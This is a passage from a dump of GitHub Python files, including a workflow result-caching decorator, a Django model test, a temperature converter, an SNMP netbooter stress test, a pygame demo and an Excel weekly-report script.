result['Fouten'] += 1\n else:\n t = 0\n for i in range(12):\n t += (3 if i % 2 == 1 else 1) * int(code[i])\n t = (10 - (t % 10)) % 10\n if int(code[-1]) == t:\n result[mapping[int(code[3])]] += 1\n else:\n result['Fouten'] += 1\n for key in result:\n print(f'{key}: {result[key]}')\n","repo_name":"VerstraeteBert/algos-ds","sub_path":"test/vraag4/src/isbn/36.py","file_name":"36.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"20258945125","text":"# import tempfile\nimport json\nimport logging\nimport time\nfrom dataclasses import asdict, dataclass\nfrom datetime import datetime\nfrom functools import wraps\nfrom typing import Any, Dict, Optional\n\nimport cloudpickle\nimport httpx\n\nfrom labfunctions.conf.client_settings import settings\n\n# from labfunctions.workflows.core import build_context\nfrom labfunctions.types import SimpleExecCtx\n\nlogger = logging.getLogger(__name__)\n\nVALID_STRATEGIES = [\"local\", \"fileserver\"]\n\n\n@dataclass\nclass CacheConfig:\n name: str\n ctx: SimpleExecCtx\n valid_for_min: int = 60\n strategy: str = \"local\"\n\n\ndef build_ctx_global(globals_dict) -> SimpleExecCtx:\n wfid = globals_dict.get(\"WFID\")\n execid = globals_dict.get(\"EXECUTIONID\")\n _now = datetime.utcnow().isoformat()\n now = globals_dict.get(\"NOW\", _now)\n return SimpleExecCtx(\n wfid=wfid,\n execid=execid,\n execution_dt=now,\n )\n\n\ndef build_ctx(wfid, execid, now=None) -> SimpleExecCtx:\n _now = now or datetime.utcnow().isoformat()\n return SimpleExecCtx(\n wfid=wfid,\n execid=execid,\n execution_dt=_now,\n )\n\n\ndef _write_pickle(name, data, ctx: SimpleExecCtx):\n fpath = f\"/tmp/{ctx.wfid}.{ctx.execid}.{name}.pickle\"\n metapath = f\"/tmp/{ctx.wfid}.{ctx.execid}.{name}.json\"\n with open(fpath, \"wb\") as f:\n f.write(cloudpickle.dumps(data))\n logger.debug(\"CACHE: Wrote to %s\", fpath)\n with open(metapath, \"w\", encoding=\"utf-8\") as f:\n json.dump(asdict(ctx), f)\n\n\ndef _restore_pickle(name, ctx: SimpleExecCtx):\n fpath = f\"/tmp/{ctx.wfid}.{ctx.execid}.{name}.pickle\"\n metapath = f\"/tmp/{ctx.wfid}.{ctx.execid}.{name}.json\"\n try:\n with open(fpath, \"rb\") as f:\n data = cloudpickle.load(f)\n logger.debug(\"CACHE: Reading from %s\", fpath)\n with open(metapath, \"r\") as f:\n data = f.read()\n meta = json.loads(data)\n\n return data, meta\n except EOFError:\n return None\n except FileNotFoundError:\n return None\n\n\ndef _write_fileserver(name, data, ctx: SimpleExecCtx):\n urlpath = f\"{settings.EXT_KV_LOCAL_ROOT}/cache/{ctx.wfid}.{ctx.execid}.{name}\"\n metapath = f\"{settings.EXT_KV_LOCAL_ROOT}/cache/{ctx.wfid}.{ctx.execid}.{name}.json\"\n blob = cloudpickle.dumps(data)\n rsp = httpx.put(urlpath, content=blob)\n rsp2 = httpx.put(metapath, json=asdict(ctx))\n if rsp.status_code > 202 and rsp2.status_code > 202:\n logger.warning(\"CACHE: writing to fileserver failed %s\", urlpath)\n else:\n logger.debug(\"CACHE: wrote to fileserver %s\", urlpath)\n\n\ndef _restore_fileserver(name, ctx: SimpleExecCtx):\n urlpath = f\"{settings.EXT_KV_LOCAL_ROOT}/cache/{ctx.wfid}.{ctx.execid}.{name}\"\n metapath = f\"{settings.EXT_KV_LOCAL_ROOT}/cache/{ctx.wfid}.{ctx.execid}.{name}.json\"\n data = None\n meta = None\n\n try:\n rsp = httpx.get(urlpath)\n rsp2 = httpx.get(metapath)\n if rsp.status_code == 200 and rsp2.status_code == 200:\n data = cloudpickle.loads(rsp.content)\n meta = rsp2.json()\n logger.debug(\"CACHE: Reading from fileserver %s\", urlpath)\n except Exception as e:\n logger.warning(e)\n return data, meta\n\n\ndef is_valid_date(cache_dt: str, valid_for_min: int) -> bool:\n dt = datetime.fromisoformat(cache_dt)\n now = datetime.utcnow()\n elapsed = round((now - dt).seconds / 60)\n if elapsed > valid_for_min:\n return False\n return True\n\n\ndef cache_manager_write(data, conf: CacheConfig):\n if conf.strategy == \"local\" and conf.ctx.wfid:\n _write_pickle(conf.name, data, conf.ctx)\n elif conf.strategy == \"fileserver\" and conf.ctx.wfid:\n _write_fileserver(conf.name, data, conf.ctx)\n else:\n logger.warning(\"CACHE: Invalid caching strategy %s\", conf.strategy)\n\n\ndef cache_manager_read(conf: CacheConfig):\n data = None\n meta = None\n if conf.strategy == \"local\" and conf.ctx.wfid:\n data, meta = _restore_pickle(conf.name, conf.ctx)\n elif conf.strategy == \"fileserver\" and conf.ctx.wfid:\n data, meta = _restore_fileserver(conf.name, conf.ctx)\n else:\n logger.warning(\"CACHE: Invalid caching strategy %s\", conf.strategy)\n return data, meta\n\n\ndef frozen_result(\n name=None,\n wfid=None,\n execid=None,\n valid_for_min=60,\n strategy=\"local\",\n from_global: Optional[Dict[str, Any]] = None,\n):\n\n if not wfid and not from_global:\n raise TypeError(\"wfid or global should be provided\")\n\n if from_global:\n ctx = build_ctx_global(from_global)\n else:\n ctx = build_ctx(wfid, execid)\n\n cache_conf = CacheConfig(\n name=name, ctx=ctx, valid_for_min=valid_for_min, strategy=strategy\n )\n\n def decorate(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n if not cache_conf.name:\n cache_conf.name = func.__name__\n\n result, meta = cache_manager_read(cache_conf)\n valid = False\n if meta:\n valid = is_valid_date(meta[\"execution_dt\"], valid_for_min)\n if not result or not valid:\n result = func(*args, **kwargs)\n cache_manager_write(result, cache_conf)\n return result\n\n return wrapper\n\n return decorate\n\n\nif __name__ == \"__main__\":\n\n @frozen_result(wfid=\"test\", execid=\"test_t\", strategy=\"fileserver\", valid_for_min=5)\n def my_func(msg):\n print(msg)\n return msg * 2\n\n my_func(\"hello world\")\n","repo_name":"nuxion/labfunctions","sub_path":"labfunctions/io/cache.py","file_name":"cache.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"4597270010","text":"from django.test import TestCase\nfrom .models import Question, Answer\n\nclass QuestionModelTests(TestCase):\n def setUp(self):\n question_one = Question.objects.create(\n question_name=\"Question One\",\n question_text=\"To be or not to be?\")\n\n Answer.objects.create(\n answer_text=\"To be\",\n karma=100,\n votes=0,\n question=question_one\n )\n\n Answer.objects.create(\n answer_text=\"Not to be\",\n karma=-100,\n votes=0,\n question=question_one\n )\n\n Answer.objects.create(\n answer_text=\"I refuse to answer\",\n karma=0,\n votes=1,\n question=question_one\n )\n\n Answer.objects.create(\n answer_text=\"Boogie boogie\",\n karma=50,\n votes=0,\n question=question_one\n )\n\n def test_answer_set(self):\n \"\"\"Test the Question get_answers method\"\"\"\n question_one = Question.objects.get(question_name=\"Question One\")\n question_one = question_one.get_answers()\n self.assertEqual(question_one.count(), 4)\n","repo_name":"Cody1001/How-To-Life","sub_path":"game/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"15753550209","text":"ghenv.Component.Name = \"LB Deconstruct Matrix\"\nghenv.Component.NickName = 'XMatrix'\nghenv.Component.Message = '1.7.0'\nghenv.Component.Category = 'Ladybug'\nghenv.Component.SubCategory = '4 :: Extra'\nghenv.Component.AdditionalHelpFromDocStrings = '0'\n\ntry:\n from ladybug_rhino.grasshopper import all_required_inputs, de_objectify_output, \\\n list_to_data_tree, merge_data_tree\nexcept ImportError as e:\n raise ImportError('\\nFailed to import ladybug_rhino:\\n\\t{}'.format(e))\n\n\nif all_required_inputs(ghenv.Component):\n values = []\n for i, mtx in enumerate(_matrix):\n values.append(list_to_data_tree(de_objectify_output(mtx), root_count=i))\n values = merge_data_tree(values)\n","repo_name":"ladybug-tools/ladybug-grasshopper","sub_path":"ladybug_grasshopper/src/LB Deconstruct Matrix.py","file_name":"LB Deconstruct Matrix.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"38"} +{"seq_id":"1999808760","text":"\"\"\"\nuri.py: Uri class\n\"\"\"\nfrom logging import getLogger\nfrom typing import Type, cast\n\nfrom gdoc.lib.gdoc import TextString\nfrom gdoc.lib.gdocparser import nameparser\nfrom gdoc.util import Err, ErrorReport, Ok, Result\n\nfrom .uri import Uri, UriComponents\n\nlogger = getLogger(__name__)\n\n\nclass ObjectUri(Uri):\n \"\"\"\n Uri class\n \"\"\"\n\n # document_uri = [scheme:][//authority][path]\n document_uri: TextString | None = None\n document_obj: object | None = None\n object_names: list[TextString] | None\n object_tags: list[TextString] | None\n\n def __init__(\n self,\n textstr: TextString,\n uri_info: UriComponents,\n obj_names: list[TextString] | None,\n obj_tags: list[TextString] | None,\n ):\n super().__init__(textstr, uri_info)\n self.object_names = obj_names\n self.object_tags = obj_tags\n\n document_uri: TextString = TextString()\n if self.components.scheme:\n document_uri += self.components.scheme\n if self.components.colon:\n document_uri += self.components.colon\n if self.components.double_slash:\n document_uri += self.components.double_slash\n if self.components.authority:\n document_uri += self.components.authority\n if self.components.path:\n document_uri += self.components.path\n if len(document_uri) > 0:\n self.document_uri = document_uri\n\n def is_relative(self) -> bool:\n return (self.components.fragment is not None) and (\n self.components.number_sign is None\n )\n\n @classmethod\n def parse(\n cls: Type[\"ObjectUri\"], textstr: TextString, erpt: ErrorReport\n ) -> Result[\"ObjectUri\", ErrorReport]:\n srpt: ErrorReport = erpt.new_subreport()\n\n r, e = Uri.get_uri_info(textstr, srpt)\n if e and (srpt.should_exit(e) or r is None):\n return Err(erpt.submit(srpt))\n uri_components: UriComponents = cast(UriComponents, r)\n\n names: tuple[list[TextString] | None, list[TextString] | None] = (None, None)\n if uri_components.fragment is not None:\n r = nameparser.parse_name(uri_components.fragment, erpt)\n if r.is_err():\n return Err(erpt.submit(r.err()))\n names = r.unwrap()\n\n return Ok(cls(textstr, uri_components, *names))\n","repo_name":"tyskdm/gdoc","sub_path":"gdoc/lib/gdoc/objecturi.py","file_name":"objecturi.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28082920412","text":"# -*- coding: utf-8 -*-\n__author__ = 'Administrator'\n\n# 指定图像文件名称\nbackground_image_filename = 'sushiplate.jpg'\nmouse_image_filename = 'fugu.png'\n\n# 导入pygame库\nimport pygame\n# 导入一些常用的函数和常量\nfrom pygame.locals import *\n# 向sys模块借一个exit函数用来退出程序\nfrom sys import exit\n\n# 初始化pygame,为使用硬件做准备\npygame.init()\n\n# 创建了一个窗口\nscreen = pygame.display.set_mode((640, 480), 0, 32)\n# 设置窗口标题\npygame.display.set_caption(\"Hello World\")\n\n# 加载并转换图像\nbackground = pygame.image.load(background_image_filename).convert()\nsprite = pygame.image.load(mouse_image_filename).convert_alpha()\nx = 0\n\n# 游戏主循环\nwhile True:\n for event in pygame.event.get():\n # 接收到退出事件后退出程序\n if event.type == QUIT:\n exit()\n # 将背景图画上去\n screen.blit(background, (0, 0))\n screen.blit(sprite, (x, 100))\n\n x += 1\n if x > 640:\n x = 0\n\n # 刷新一下画面\n pygame.display.update()\n\n\n\n\n","repo_name":"2hangwen/pygame-studease","sub_path":"fishswim.py","file_name":"fishswim.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41770953136","text":"# pylint: disable=I0011,C0103,R0903\n\"\"\"\nModule name: temperatureunits\n\nCalculate and return a value of one temperature unit converted from another\ntemperature unit.\n\nExample:\n TemperatureUnit(32, 'F', 'C').doconvert()\n returns: 0.0\n\nExportables:\n Classes:\n TemperatureUnit\n Functions:\n doconvert: Return calculated conversion between two units\n\"\"\"\n\n\nclass TemperatureUnit(object):\n \"\"\"\n Initialize a TemperatureUnit to return the results of doconvert(), for the\n purpose of converting one temperature unit to another temperature unit\n\n :param amt: float, amount to convert from\n :param ufrom: string, unit to convert from\n :param uto: string, unit to convert to\n \"\"\"\n def __init__(self, amt, ufrom, uto):\n self.amt = amt\n self.ufrom = ufrom\n self.uto = uto\n\n def _getuval(self, argument):\n \"\"\"Return a function to calculate the unit's value\"\"\"\n function = '_unit_{0}'.format(str(argument))\n function = getattr(self, function)\n return function()\n\n def doconvert(self, error_on_negative=True):\n \"\"\"\n Return calculated conversion between two units\n\n :param error_on_negative: bool, default True, If True raise an error when amount is negative.\n\n :returns: string containing original unit and value with converted\n unit and value\n :raises ValueError: if the amount (amt) is less than 0\n \"\"\"\n conv = self._getuval(self.ufrom)[self.uto]\n return conv\n\n def _unit_F(self):\n \"\"\"Return a dictionary containing Fahrenheit (F), Celsius (C), or\n Kelvin (K) keys (F, C, K) and values converted from F to F, C, and K\"\"\"\n calc = {\n 'C': (self.amt - 32.0) * 5 / 9,\n 'K': (self.amt + 459.67) * 5 / 9,\n 'F': self.amt\n }\n return calc\n\n def _unit_C(self):\n \"\"\"Return a dictionary containing Fahrenheit (F), Celsius (C), or\n Kelvin (K) keys (F, C, K) and values converted from C to F, C, and K\"\"\"\n calc = {\n 'F': (self.amt * 9) / 5 + 32.0,\n 'K': self.amt + 273.15,\n 'C': self.amt\n }\n return calc\n\n def _unit_K(self):\n \"\"\"Return a dictionary containing Fahrenheit (F), Celsius (C), or\n Kelvin (K) keys (F, C, K) and values converted from K to F, C, and K\"\"\"\n if self.amt < 0:\n raise ValueError('Amount must be a positive number')\n calc = {\n 'F': (self.amt * 9) / 5 - 459.67,\n 'C': self.amt - 273.15,\n 'K': self.amt\n }\n return calc\n","repo_name":"justengel/unitconvert","sub_path":"unitconvert/temperatureunits.py","file_name":"temperatureunits.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"25335534488","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nStress test for netbooter module\nSend simultaneous SNMP commands to netbooter to demonstrate when request fails\n\"\"\"\n\nimport multiprocessing\nimport time\nimport logging\nimport argparse\nfrom queue import Queue\nimport retrying\n\nimport message_queue\nimport netbooter\n\n__author__ = 'John Stile'\n\n\nclass Worker(multiprocessing.Process):\n \"\"\"\n Workers created for simultaneous SNMP requests \n \"\"\"\n def __init__(\n self,\n netbooter_ipv4,\n plug_id,\n queue_from_boss,\n queue_to_boss,\n cycles\n ):\n super(Worker, self).__init__()\n self.netbooter_ipv4 = netbooter_ipv4\n self.plug_id = plug_id\n self.queue_from_boss = queue_from_boss\n self.queue_to_boss = queue_to_boss\n self.cycles = cycles\n self.begin_test = False\n #\n # non-pickle-able objects to be initialized in run()\n # to avoid limitation of multiprocessing on windows\n #\n self.netbooter = None\n self.log = None\n # Result counter\n self.error_count = 0\n\n def run(self):\n \"\"\"Initialize Logger and Netbooter,\n message Boss it is ready,\n and poll for a start from the boss\"\"\"\n #\n # Setup log\n #\n log_file_name = \"{}-worker-plug{}.log\".format(self.netbooter_ipv4, self.plug_id)\n rh = logging.FileHandler(log_file_name)\n fmt = logging.Formatter(\"%(asctime)s (%(levelname)-8s): %(message)s\")\n rh.setFormatter(fmt)\n self.log = logging.getLogger()\n self.log.setLevel('INFO')\n self.log.addHandler(rh)\n self.log.info(\"Log Initialized\")\n #\n # Setup Netbooter snmp object\n #\n self.log.info('Creating instance of Netbooter')\n self.netbooter = netbooter.NetBooter(host=self.netbooter_ipv4, logger=self.log)\n #\n # Empty Multiprocessing queue\n #\n while not self.queue_from_boss.empty():\n self.log.info('Inside clear() loop -- getting items from queue')\n self.queue_from_boss.get()\n #\n # Tell boss Worker is ready\n #\n self.queue_to_boss.put(message_queue.StatusMessage(self.plug_id, {'ready': True}))\n #\n # Poll messages from Boss to start test\n #\n self.process_queue()\n #\n # send quit message\n #\n self.log.info(\"Send Quit to Boss\")\n\n self.queue_to_boss.put(message_queue.QuitMessage(self.plug_id, self.error_count))\n\n def process_queue(self):\n \"\"\"Poll the message queue for BeginTest message from Boss\n When message is received, self.begin_test is set to True,\n and the test is run.\"\"\"\n\n continue_test = True\n while continue_test:\n # Listen for messages from Boss\n if not self.queue_from_boss.empty():\n try:\n self.log.debug(\"reading queue\")\n msg = self.queue_from_boss.get(timeout=0.001)\n msg.handle(self)\n except Queue.Empty:\n \"Queue unexpectedly empty\"\n\n # Boss sends status message, which toggles this to true\n if self.begin_test:\n self.test()\n continue_test = False\n continue\n\n self.log.info(\"Exit while loop.\")\n\n def on_status(self, plug_id, data):\n \"\"\"Boss will send a BeginTest message once all Workers are ready\"\"\"\n self.log.debug('Status({})'.format(plug_id, data))\n if data['BeginTest']:\n self.begin_test = True\n\n def test(self):\n \"\"\"Toggle plug on and off, and check state after each operaiton\n If a change fails to take place, terminate test\"\"\"\n self.log.info('Run Test')\n\n try:\n # This is how many times we toggle the plug\n for iteration in range(1, self.cycles+1):\n self.log.info(\n (\n \"=====Plug: {:>2}, Iteration:{:>3}, Error Count:{:>3}====\"\n ).format(\n self.plug_id,\n iteration,\n self.error_count\n )\n )\n self.log.info('Power off')\n self.queue_to_boss.put(message_queue.LogMessage(self.plug_id, \"INFO\", \"off\"))\n # Change state\n try:\n self.netbooter.plug_off([self.plug_id])\n # Read current state\n status = self.netbooter.port_status([self.plug_id])\n # If plug not in expected state, count error\n if status != [0]:\n self.log.critical(\"PLUG {} NOT OFF.\".format(self.plug_id))\n # send quit message\n self.error_count += 1\n\n except retrying.RetryError as e:\n self.log.critical(\"FAILED. plug_off() exception:{}\".format(str(e)))\n self.error_count += 1\n\n self.log.info('Power on')\n self.queue_to_boss.put(message_queue.LogMessage(self.plug_id, \"INFO\", \"on\"))\n # Change state\n try:\n self.netbooter.plug_on([self.plug_id])\n # If plug not in expected state, count error\n status = self.netbooter.port_status([self.plug_id])\n # If plug not in expected state, count error\n if status != [1]:\n self.log.critical(\"PLUG {} NOT ON.\".format(self.plug_id))\n # send quit message\n self.error_count += 1\n\n except retrying.RetryError as e:\n self.log.critical(\"FAILED plug_on(). exception:{}\".format(str(e)))\n self.error_count += 1\n\n self.queue_to_boss.put(message_queue.QuitMessage(self.plug_id, self.error_count))\n\n except Exception as e:\n self.log.exception(\"Exception occurred: {}\".format(e))\n raise\n\n\nclass Boss(object):\n \"\"\"Create workers for each port, and start\n Workers tell boss when they are ready\n Boss monitors the message queue for ready and quit\n Once all the workers are ready, boss has them all start testing\n If any quit message has an error exit_status, boss stops all workers\n Once all workers have quit, boss terminates workers.\"\"\"\n\n def __init__(self, netbooter_ipv4):\n self.netbooter_ipv4 = netbooter_ipv4\n\n # set up multiprocessing logger\n multiprocessing.log_to_stderr()\n self.log = multiprocessing.get_logger()\n fh = logging.FileHandler('{}-boss.log'.format(self.netbooter_ipv4))\n log_format = '%(asctime)s [%(levelname)s/%(processName)s] - %(message)s'\n formatter = logging.Formatter(log_format)\n fh.setFormatter(formatter)\n self.log.addHandler(fh)\n self.log.setLevel('INFO')\n self.log.info('Start Log')\n\n self.number_of_switch_cycles = 4\n self.plug_ids = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]\n\n self.worker_count = len(self.plug_ids)\n self.workers = []\n\n # count total number of quit messages\n self.quit_counter = 0\n self.ready_counter = 0\n\n # processing queue for all DUTs\n self.queue = multiprocessing.Queue()\n\n # result containers\n self.worker_results = {}\n self.exit_code = 0\n\n # startup timeout\n self.startup_timeout=15\n\n def main(self):\n\n # Create workers, and start\n for plug_id in self.plug_ids:\n # Each worker controls one plug\n w = Worker(\n self.netbooter_ipv4,\n plug_id,\n queue_to_boss=self.queue,\n queue_from_boss=multiprocessing.Queue(),\n cycles=self.number_of_switch_cycles\n )\n\n # Add worker to our list of workers\n self.workers.append(w)\n\n # start Worker object run()\n w.start()\n\n # process messages from Works\n self.process_queue()\n\n #\n # Block until workers report quit\n #\n while len(self.workers):\n time.sleep(2)\n\n # # clean up processes and kill any remaining AVBWorkers\n # self.clean_up()\n\n #\n # Print the result for each worker\n #\n self.log.info(\"Results for {} cycles\".format(self.number_of_switch_cycles))\n for (plug, error_count) in self.worker_results.items():\n if error_count == 0:\n this_log = self.log.info\n else:\n this_log = self.log.critical\n this_log(\"\\tplug:{:>2}, error_count:{:>3}\".format(plug, error_count))\n\n def process_queue(self):\n\n # loop until we read a 'quit' for worker, or an error\n # When all workers are ready, start the tests\n # If workers are not ready after at time, kill them and quit\n start_time = time.time()\n continue_test = True\n while continue_test:\n # Catch timeout\n if (time.time() - start_time) > self.startup_timeout:\n self.log.error( \"[!!] Exceeded startup_timeout. End all worker\" )\n for worker in self.workers:\n self.clean_up(worker)\n\n # When the number of ready messages == workers, start test\n if self.ready_counter == len(self.workers):\n self.log.info(\"All Workers ready, start test\")\n\n # Send the message to start testing\n for worker in self.workers:\n worker.queue_from_boss.put(message_queue.QuitMessage('BOSS', {'BeginTest': True}))\n self.ready_counter = False\n\n if self.quit_counter == len(self.workers):\n self.log.info(\"All Workers quit, end program\")\n continue_test = False\n continue\n\n if not self.queue.empty():\n try:\n msg = self.queue.get(timeout=0.001)\n msg.handle(self)\n except Queue.Empty as e:\n self.log.warning(\n \"Queue unexpectedly Empty. {}\".format(e)\n )\n\n def on_status(self, plug_id, data):\n \"\"\"Counts the number of workers that are ready\n \"\"\"\n self.log.debug(\"plug_id:{}, status: {}\".format(plug_id, data))\n self.ready_counter += 1\n\n def on_quit(self, plug_id, exit_code):\n self.log.info(\n (\n \"Quit received from {}, error_count: {}\"\n ).format(\n plug_id,\n exit_code\n )\n )\n #\n # Store Exit code\n #\n # if plug_id not in self.worker_results:\n # self.worker_results[plug_id] = exit_code\n # else:\n self.worker_results[plug_id] = exit_code\n #\n # Force process to end\n #\n w = next((w for w in self.workers if w.plug_id == plug_id), None)\n if w:\n self.clean_up(w)\n\n def on_log(self, plug_id, log_level, msg):\n self.log.info(\"[{}][{}] - {}\".format(plug_id, log_level, msg))\n\n def clean_up(self, worker):\n self.log.info(\"Jobs should be done. Force End if not ended\")\n\n # Must give the children enough time to end, or we kill in the middle of an snmp request.\n timeout = 15\n\n self.log.critical(\"plug:{}, exitcode:{}\".format(worker.plug_id, worker.exitcode))\n\n end_time = time.time() + timeout\n continue_cleanup = True\n while continue_cleanup:\n\n if not worker.is_alive():\n continue_cleanup = False\n continue\n\n self.log.debug(\"{} is_alive\".format(worker.name))\n\n # This should end the process\n worker.join(timeout)\n\n # Force quit the process\n if time.time() >= end_time:\n self.log.warning(\"{} did not end after {} seconds\".format(\n worker.name,\n timeout\n ))\n self.log.warning(\"call terminate on {}\".format(worker.name))\n worker.terminate()\n self.log.warning(\"call final join on {}\".format(worker.name))\n worker.join()\n #\n # Remove worker from the workers list\n #\n self.workers.remove(worker)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--ipv4', '-i',\n required=True,\n help='netbooter ipv4 address'\n )\n args = parser.parse_args()\n boss = Boss(args.ipv4)\n boss.main()\n","repo_name":"johnstile/pythonscripts","sub_path":"netbooter_test.py","file_name":"netbooter_test.py","file_ext":"py","file_size_in_byte":12802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70922547951","text":"import sys\r\n\r\ninput = sys.stdin\r\n\r\nn = int(input.readline())\r\ntimes = []\r\nfor _ in range(n):\r\n times.append(list(map(int, input.readline().split())))\r\ntimes.sort(key=lambda x: [x[1], x[0]])\r\n\r\nend_time = answer = 0\r\nfor time in times:\r\n if time[0] >= end_time:\r\n end_time = time[1]\r\n answer += 1\r\n\r\nprint(answer)","repo_name":"jgm0327/baekjoon","sub_path":"백준/Silver/1931. 회의실 배정/회의실 배정.py","file_name":"회의실 배정.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38431234746","text":"from walker import walker\nimport config\n\nclass LocationChecker:\n def __init__(self, parent, bottom_left, top_right):\n self.parent = parent\n self.bottom_left = bottom_left\n self.top_right = top_right\n\n def remediate(self):\n location = self.parent.location\n if location is None:\n return None\n\n a = location[0] < self.bottom_left[0]\n b = location[1] < self.bottom_left[1]\n c = location[0] > self.top_right[0]\n d = location[1] > self.top_right[1]\n\n if a or b or c or d:\n print(\"Location invariant violation by {0}; walking to bank first\".format(location))\n print(\"{0}, {1}, {2}, {3}\".format(a, b, c, d))\n if config.MAGIC_LOGS:\n exit(1)\n return walker.BankWalker(self.parent)\n\n return None\n\n\n","repo_name":"marlon-bain/clicker","sub_path":"location_checker.py","file_name":"location_checker.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"70146183151","text":"def main():\n print(\"Bem-vindo(a) à Informação Nutricional!\")\n print(\"Digite o nome de uma fruta para ver a quantidade de calorias associadas.\")\n\n frutas = {\n \"Maçã\": 130,\n \"Abacate\": 50,\n \"Banana\": 110,\n \"Melão\": 50,\n \"Goiaba\": 60,\n \"Uvas\": 90,\n \"Melão\": 50,\n \"Kiwi\": 90,\n \"Limão\": 15,\n \"Limão\": 20,\n \"Nectarina\": 60,\n \"Laranja\": 80,\n \"Pêssego\": 60,\n \"Pera\": 100,\n \"Abacaxi\": 50,\n \"Ameixas\": 70,\n \"Morangos\": 50,\n \"Cerejas\": 100,\n \"Tangerina\": 50,\n \"Melancia\": 80,\n }\n\n fruta = input(\"Digite o nome da fruta: \").title().strip()\n\n if fruta in frutas:\n print(f\"Calorias: {frutas[fruta]}\")\n else:\n print(\"Fruta não encontrada na lista de informações nutricionais.\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tayanemadureira/CS50","sub_path":"Week_2/NutritionFacts.py","file_name":"NutritionFacts.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28809952092","text":"from openpyxl import Workbook\nfrom openpyxl import load_workbook\nfrom weekly_report_files import ZhouBaoSource\n#from print_date_of_week import DateOfWeek\n\nzb_source_files = ZhouBaoSource()\nzb_week_date1 = zb_source_files.work_week.get_week_date()\nzb_week_date2 = zb_source_files.work_week.get_week_date_one_day_ago()\nzb_week_date3 = zb_source_files.work_week.get_week_date_two_day_ago()\nzb_week_date4 = zb_source_files.work_week.get_week_date_three_day_ago()\ncurrent_month_dir = zb_source_files.current_month_dir\nzb_source_files_sheets = zb_source_files.work_week.sheet_name_date()\nzb_bian_jie_zhi = zb_source_files.work_week.bian_jie_zhi\n\nhui_zong = []\nhui_zong_ph = []\nhui_zong_ydjy = []\nhui_zong_ydph = []\nhui_zong_fk = []\nhui_zong_qs = []\nhui_zong_black = []\n\n#excel写入数据\ndef write_table_into_sheet(sheet_name, zb_tables, start_position = [1, 1]):\n current_row = start_position[0]\n current_column = start_position[1]\n\n for i in zb_tables:\n for j in i:\n sheet_name.cell(row = current_row, column = current_column).value = j\n current_column += 1\n current_row += 1\n current_column = start_position[1]\n\n#周报求和\ndef zhou_bao_qiu_he(hui_zong):\n wb_hui_zong = load_workbook(\"report_week.xlsx\")\n\n for i, j in zip(wb_hui_zong.sheetnames, hui_zong):\n ws_hui_zong = wb_hui_zong[i]\n write_table_into_sheet(ws_hui_zong, j)\n\n wb_hui_zong.save(\"report_week.xlsx\")\n\n#账务平衡\ndef zhang_wu_ping_heng(wb_ph_name, ws_ph_names, zb_w1, zb_w3, hui_zong_ph):\n wb_ph = load_workbook(wb_ph_name)\n cha_yi_column = 6\n\n for i, q, o in zip(ws_ph_names, zb_w1, zb_w3):\n ws_ph = wb_ph[i]\n j = ws_ph.max_row\n hui_zong_ph_sheet = [0] * 4\n hui_zong_ph_sheet[0] = q\n hui_zong_ph_sheet[1] = o\n hui_zong_ph_sheet[2] += (j - 2)\n\n while j >= 1 and ws_ph.cell(row = j, column = cha_yi_column).value != 0:\n hui_zong_ph_sheet[3] += 1\n j -= 1\n\n hui_zong_ph.append(hui_zong_ph_sheet)\n\n#异地交易\ndef yi_di_jiao_yi(wb_ydjy_name, ws_ydjy_names, zb_w1, zb_w2, hui_zong_ydjy):\n wb_ydjy = load_workbook(wb_ydjy_name)\n\n for i, j, q in zip(ws_ydjy_names, zb_w1, zb_w2):\n ws_ydjy = wb_ydjy[i]\n ying_shou_row = 25\n ying_fu_row = ws_ydjy.max_row\n bi_shu_column = 4\n jin_e_column = 5\n hui_zong_ydjy_sheet = [0] * 6\n\n hui_zong_ydjy_sheet[0] = j\n hui_zong_ydjy_sheet[1] = q\n hui_zong_ydjy_sheet[2] = float(ws_ydjy.cell(row = ying_shou_row, column = bi_shu_column).value[7:].replace(\",\", \"\"))\n hui_zong_ydjy_sheet[3] = float(ws_ydjy.cell(row = ying_shou_row, column = jin_e_column).value[7:].replace(\",\", \"\"))\n hui_zong_ydjy_sheet[4] = float(ws_ydjy.cell(row = ying_fu_row, column = bi_shu_column).value[7:].replace(\",\", \"\"))\n hui_zong_ydjy_sheet[5] = float(ws_ydjy.cell(row = ying_fu_row, column = jin_e_column).value[7:].replace(\",\", \"\"))\n\n hui_zong_ydjy.append(hui_zong_ydjy_sheet)\n\n#异地平衡\ndef yi_di_ping_heng(wb_ydph_name, ws_ydph_names, zb_w1, zb_w4, hui_zong_ydph):\n wb_ydph = load_workbook(wb_ydph_name)\n\n for i, j, p in zip(ws_ydph_names, zb_w1, zb_w4):\n ws_ydph = wb_ydph[i]\n jin_e_row = 3\n jin_e_column = 2\n 